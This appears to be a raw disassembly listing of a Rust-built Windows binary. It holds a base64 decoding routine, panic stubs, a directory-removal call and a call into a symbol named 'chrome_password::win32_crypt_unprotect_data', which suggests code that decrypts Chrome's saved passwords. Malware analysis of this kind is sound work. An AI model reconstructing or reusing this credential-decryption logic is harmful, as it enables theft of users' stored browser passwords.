mov eax, dword [esp + 0x4c]
jmp 0x100144a4
mov dword [esp + 0x20], 0
cmp eax, 8
jb 0x10014d88
add eax, 0xfffffff8
mov dword [esp + 0x4c], eax
cmp ebx, eax
jae 0x10014d88
lea edx, [ebx + 8]
mov ecx, ebx
mov dword [esp + 0x14], edx
push 0x10168780
push esi
push dword [esp + 0x40]
call sym.__ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h19b4
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov esi, edx
mov edi, eax
lea edx, [ecx + 8]
push 0x10168790
push dword [esp + 0x20]
push dword [esp + 0x34]
call fcn.100477bd
add esp, 0xc
test esi, esi
je 0x10015271
mov dword [esp + 4], ebx
movzx ebx, byte [edi]
mov dword [esp + 0x28], edx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x10015334
cmp esi, 2
jb 0x10015273
movzx ebx, byte [edi + 1]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x10015345
cmp esi, 3
jb 0x10015275
movzx ebx, byte [edi + 2]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
mov byte [esp + 0x30], dl
je 0x10015359
cmp esi, 4
jb 0x10015277
movzx ebx, byte [edi + 3]
mov dword [esp + 0x44], eax
mov ah, byte [ebx + 0x101684c8]
cmp ah, 0xff
je 0x1001536d
cmp esi, 5
jb 0x10015279
movzx ebx, byte [edi + 4]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x10015381
cmp esi, 6
jb 0x1001527b
movzx ebx, byte [edi + 5]
mov dword [esp + 0x24], 0
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x10015395
cmp esi, 7
jb 0x10015280
movzx ebx, byte [edi + 6]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100153a1
cmp esi, 8
jb 0x10015285
movzx ebx, byte [edi + 7]
mov byte [esp + 0x40], dh
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100153ad
movzx esi, ch
movzx edi, cl
shl esi, 0x1a
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x30]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 2
or edi, esi
movzx esi, dl
or eax, edi
mov edi, esi
shr esi, 4
or esi, eax
movzx eax, byte [esp + 0x40]
shl edi, 0x1c
shl eax, 0x16
or eax, edi
movzx edi, dh
shl edi, 0x10
or edi, eax
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x28]
push 0x1016887c
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap esi
bswap edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
add dword [esp + 0x20], 6
dec dword [esp + 0x3c]
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x4c]
jmp 0x10014bb2
xor eax, eax
inc eax
cmp eax, dword [esp + 0x3c]
mov dword [esp + 4], ebx
jae 0x10014f9d
mov dword [esp + 0x14], eax
mov edx, dword [esp + 0x38]
mov ecx, ebx
push 0x1016882c
push esi
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov ecx, dword [esp + 0x20]
mov edi, edx
mov esi, eax
lea edx, [ecx + 6]
mov dword [esp + 0x20], edx
push 0x1016883c
push dword [esp + 0x20]
push dword [esp + 0x34]
call fcn.100477bd
add esp, 0xc
and dword [esp + 0x5c], 0
and dword [esp + 0x58], 0
test edi, edi
je 0x1001523c
movzx ebx, byte [esi]
mov ecx, edx
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x100153b9
cmp edi, 2
jb 0x1001523e
movzx ebx, byte [esi + 1]
mov byte [esp + 0x28], dl
mov edx, ecx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x100153c7
cmp edi, 3
jb 0x10015243
movzx ebx, byte [esi + 2]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
mov byte [esp + 0x30], cl
je 0x100153d4
cmp edi, 4
jb 0x10015248
movzx ebx, byte [esi + 3]
mov byte [esp + 0x44], ch
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x100153d8
cmp edi, 5
jb 0x1001524d
movzx ebx, byte [esi + 4]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x40], eax
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x100153dc
cmp edi, 6
jb 0x10015252
movzx ebx, byte [esi + 5]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100153e0
cmp edi, 7
jb 0x10015257
movzx ebx, byte [esi + 6]
mov dl, byte [esp + 0x28]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x100153e4
cmp edi, 8
jb 0x1001525c
movzx ebx, byte [esi + 7]
mov ah, cl
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x100153e8
movzx edi, byte [esp + 0x44]
movzx esi, dl
movzx ebx, ch
shl esi, 0x1a
shl ebx, 2
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x30]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 0x16
or edi, esi
movzx esi, dh
mov edx, esi
or ebx, edi
shr esi, 4
movzx edi, cl
shl edx, 0x1c
or esi, ebx
shl edi, 0x10
or eax, edx
or edi, eax
lea ecx, [esp + 0x58]
push 8
pop ebx
mov edx, ebx
push 0x1016887c
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap esi
bswap edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
mov esi, ebx
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
xor ecx, ecx
push 6
pop edx
push 0x1016885c
push dword [esp + 0x50]
push dword [esp + 0x48]
call fcn.100477bd
add esp, 0xc
mov ecx, eax
push 0x1016886c
push 6
lea eax, [esp + 0x60]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
mov ebx, dword [esp + 4]
mov eax, dword [esp + 0x14]
add ebx, esi
mov esi, dword [esp + 0x10]
inc eax
jmp 0x10014d8b
mov edx, dword [esp + 0x38]
mov ecx, ebx
push 0x101687a0
push esi
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
add edx, eax
xor ebx, ebx
xor ecx, ecx
xor esi, esi
mov dword [esp + 0x30], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x38], edx
cmp eax, dword [esp + 0x38]
je 0x1001506f
movzx edx, byte [eax]
inc eax
lea edi, [ecx + 1]
cmp edx, 0x3d
jne 0x1001500d
test cl, 2
je 0x10015406
mov edx, dword [esp + 0x10]
test esi, esi
cmove edx, ecx
inc esi
mov ecx, edi
mov dword [esp + 0x10], edx
jmp 0x10014fdc
test esi, esi
mov ebx, esi
jg 0x10015648
mov bl, byte [edx + 0x101684c8]
cmp bl, 0xff
je 0x10015635
mov ecx, dword [esp + 0x30]
movzx ebx, bl
mov dword [esp + 0x3c], 0
inc ecx
mov dword [esp + 0x30], ecx
imul ecx, ecx, 0x3a
shld dword [esp + 0x3c], ebx, cl
shl ebx, cl
test cl, 0x20
mov ecx, dword [esp + 0x3c]
cmovne ecx, ebx
mov dword [esp + 0x3c], ecx
mov ecx, 0
cmovne ebx, ecx
mov ecx, dword [esp + 0x3c]
or dword [esp + 0x28], ebx
mov ebx, edx
or dword [esp + 0x14], ecx
mov ecx, edi
jmp 0x10014fdc
mov edx, dword [esp + 0x30]
cmp edx, 9
jae 0x1001554e
mov eax, 0x1dd
bt eax, edx
jae 0x1001554e
mov ecx, dword [edx*4 + 0x101ead3c]
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
xor edi, edi
shld esi, eax, cl
shl eax, cl
test cl, 0x20
mov dword [esp + 0x10], ecx
cmovne esi, eax
cmovne eax, edi
or eax, esi
jne 0x10015616
push 0x38
pop ebx
mov edx, dword [esp + 0x20]
cmp edi, dword [esp + 0x10]
jae 0x100150f9
cmp edx, dword [esp + 0x1c]
jae 0x10015261
mov esi, dword [esp + 0x28]
mov eax, dword [esp + 0x14]
mov ecx, ebx
and cl, 0x38
shrd esi, eax, cl
mov ecx, ebx
and cl, 0x18
shr eax, cl
test bl, 0x20
cmove eax, esi
mov esi, dword [esp + 0x2c]
add edi, 8
add ebx, 0xfffffff8
mov byte [esi + edx], al
inc edx
jmp 0x100150bc
mov eax, dword [esp + 0xd8]
cmp eax, edx
cmovb edx, eax
cmp dword [esp + 0xc], 0x80000000
je 0x1001562a
mov ecx, dword [esp + 8]
push 0x10168c00
push 5
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h8d27394811b9a982
pop ecx
pop ecx
mov esi, edx
mov ebx, eax
mov ecx, edx
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::allocate_in::h24ca61b25c7d0029
mov edi, edx
mov dword [esp + 0x20], eax
push esi
push ebx
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x20]
lea ebx, [esp + 0xf8]
mov dword [ebx], eax
mov dword [ebx + 4], edi
mov dword [ebx + 8], esi
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
mov ecx, dword [esp + 0xdc]
mov edx, ebx
call sym.chrome_password::win32_crypt_unprotect_data::hd207ad59fbc277f2
movzx eax, byte [esp + 0xb0]
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0xd4]
cmp eax, 3
jb 0x100151d0
je 0x100151af
cmp eax, 4
jne 0x100151c4
lea esi, [esp + 0xb4]
mov ecx, esi
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::hc1bda6beaaabba33
mov ecx, dword [esi]
mov edx, dword [esi + 4]
mov esi, dword [esp + 0xd4]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::he28ab51e537c189a
jmp 0x100151d0
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0xb8]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
jmp 0x100151d0
lea ecx, [esp + 0xb4]
call sym.__ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h5824f0dd69076
mov ecx, esi
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor edx, edx
lea ecx, [esp + 0x50]
inc edx
push 0xf
push 0x101c3f0b
call sym.std::io::error::Error::new::h6b0a79be0c8789e2
pop eax
pop ecx
mov esi, dword [esp + 4]
jmp 0x10015221
mov eax, dword [esp + 0x1c]
mov bl, 4
jmp 0x10014013
mov esi, dword [esp + 4]
lea eax, [esp + 0x68]
lea ecx, [esp + 0x50]
mov edx, esi
push eax
push dword [esp + 0x18]
call sym.remove_dir_all::fs::remove_dir_all_recursive::h2bbf2a013abafa8b
pop eax
pop ecx
mov ecx, dword [esp + 0x1c]
mov edx, esi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
jmp 0x100142a2
mov dword [esp + 0x1c], edx
mov bl, 4
jmp 0x10014017
jmp 0x100152bd
jmp 0x100152cb
jmp 0x100152da
jmp 0x100152e9
jmp 0x100152f8
jmp 0x10015307
jmp 0x10015316
jmp 0x10015325
mov ecx, edx
mov edx, dword [esp + 0x1c]
push 0x101687b0
call dbg.panic_bounds_check
jmp 0x100152bd
jmp 0x100152cb
jmp 0x100152da
jmp 0x100152e9
jmp 0x100152f8
jmp 0x10015307
jmp 0x10015316
jmp 0x10015325
jmp 0x100152bd
jmp 0x100152cb
jmp 0x100152da
jmp 0x100152e9
jmp 0x100152f8
jmp 0x10015307
jmp 0x10015316
jmp 0x10015325
jmp 0x100152bd
jmp 0x100152cb
jmp 0x100152da
jmp 0x100152e9
jmp 0x100152f8
jmp 0x10015307
jmp 0x10015316
jmp 0x10015325
jmp 0x100152bd
jmp 0x100152cb
jmp 0x100152da
jmp 0x100152e9
jmp 0x100152f8
jmp 0x10015307
jmp 0x10015316
jmp 0x10015325
xor ecx, ecx
xor edx, edx
push 0x1016862c
call dbg.panic_bounds_check
xor ecx, ecx
inc ecx
mov edx, ecx
push 0x1016863c
call dbg.panic_bounds_check
push 2
pop ecx
mov edx, ecx
push 0x1016864c
call dbg.panic_bounds_check
push 3
pop ecx
mov edx, ecx
push 0x1016865c
call dbg.panic_bounds_check
push 4
pop ecx
mov edx, ecx
push 0x1016866c
call dbg.panic_bounds_check
push 5
pop ecx
mov edx, ecx
push 0x1016867c
call dbg.panic_bounds_check
push 6
pop ecx
mov edx, ecx
push 0x1016868c
call dbg.panic_bounds_check
push 7
pop ecx
mov edx, ecx
push 0x1016869c
call dbg.panic_bounds_check
mov edi, dword [esp + 4]
mov dword [esp + 0x24], 0
jmp 0x10015513
mov edi, dword [esp + 4]
mov dword [esp + 0x24], 0
or edi, 1
jmp 0x10015513
mov edi, dword [esp + 4]
mov dword [esp + 0x24], 0
or edi, 2
jmp 0x10015513
mov edi, dword [esp + 4]
mov dword [esp + 0x24], 0
or edi, 3
jmp 0x10015513
mov edi, dword [esp + 4]
mov dword [esp + 0x24], 0
or edi, 4
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 5
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 6
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 7
jmp 0x10015513
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 4]
jmp 0x100153f9
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
xor eax, eax
inc eax
jmp 0x100153f3
push 2
jmp 0x100153ea
push 3
jmp 0x100153ea
push 4
jmp 0x100153ea
push 5
jmp 0x100153ea
push 6
jmp 0x100153ea
push 7
pop eax
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 4]
add edi, eax
mov dword [esp + 0x24], 0
jmp 0x1001551b
test esi, esi
mov bl, 0x3d
mov dword [esp + 0x24], 0
cmovg ecx, dword [esp + 0x10]
add ecx, dword [esp + 4]
mov edi, ecx
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 8
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 9
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xa
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xb
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xc
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xd
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xe
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0xf
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x10
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x11
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x12
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x13
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x14
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x15
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x16
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x17
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x18
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x19
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1a
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1b
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1c
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1d
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1e
jmp 0x10015513
mov edi, dword [esp + 4]
or edi, 0x1f
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
movzx esi, bl
shl esi, 8
add esi, dword [esp + 0x24]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
mov dword [esp + 0x68], esi
mov dword [esp + 0x6c], edi
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168bf0
push 0x10168388
lea eax, [esp + 0x70]
push eax
call dbg.unwrap_failed
call sym.core::panicking::unreachable_display::h4db2c7f3f5c3c0ff
mov ecx, eax
push 0x101c1a34
call dbg.slice_end_index_len_fail
pop eax
jmp 0x10015695
mov edx, eax
push 0x101c1a34
call dbg.slice_index_order_fail
pop eax
jmp 0x10015695
mov edx, dword [esp + 0x2c]
shl edi, 8
or edi, eax
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edx
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168b98
jmp 0x100155b0
movsd xmm0, qword [esp + 0x50]
movsd qword [esp + 0x68], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168ba8
push 0x10168378
jmp 0x10015544
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xb0], eax
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168bb8
push 0x101683d8
lea eax, [esp + 0xb8]
jmp 0x10015548
push 0x2b
pop edx
mov ecx, str.called__Option::unwrap____on_a__None__value
push 0x10168be0
call dbg.panic
push 0x23
pop edx
mov ecx, str.decoded_length_calculation_overflow
push 0x101686d0
call dbg.expect_failed
push 0x33
pop edx
mov ecx, str.Overflow_when_calculating_number_of_chunks_in_input
push 0x10167eec
call dbg.expect_failed
mov eax, dword [esp + 4]
lea edi, [eax + edx - 1]
push 2
pop eax
mov dword [esp + 0x24], eax
jmp 0x10015513
mov esi, dword [esp + 8]
mov edi, edx
jmp 0x1001552a
add ecx, dword [esp + 4]
mov ebx, edx
mov dword [esp + 0x24], 0
jmp 0x1001541b
mov edi, dword [esp + 0x10]
mov bl, 0x3d
mov dword [esp + 0x24], 0
add edi, dword [esp + 4]
jmp 0x10015513
call sym.alloc::raw_vec::capacity_overflow::h7b8b81325d19d337
ud2
mov edx, dword [esp + 0x60]
call dbg.handle_alloc_error
cmp dword [edi + 4], 0
mov dword [esp + 0x20], eax
je 0x100156b9
mov edx, dword [edi + 8]
mov ecx, esi
call sym.___rust_dealloc
push 4
pop edx
mov ecx, dword [esp + 4]
jmp 0x10015710
call sym.___rust_dealloc
push dword [esp + 0x10]
call sub.kernel32.dll_CloseHandle
push dword [esp + 0x20]
call sym.__Unwind_Resume
nop
daa
add al, 0
add byte [esi + 3], al
add byte [eax], al
aaa
add eax, dword [eax]
add byte [edi], dh
add eax, dword [eax]
add byte [ebp - 0x65fffff8], dh
sbb al, byte [eax]
add byte [esi - 0x51fffff8], ah
or byte [eax], al
add byte [edx - 0x65fffff8], ch
sbb al, byte [eax]
invalid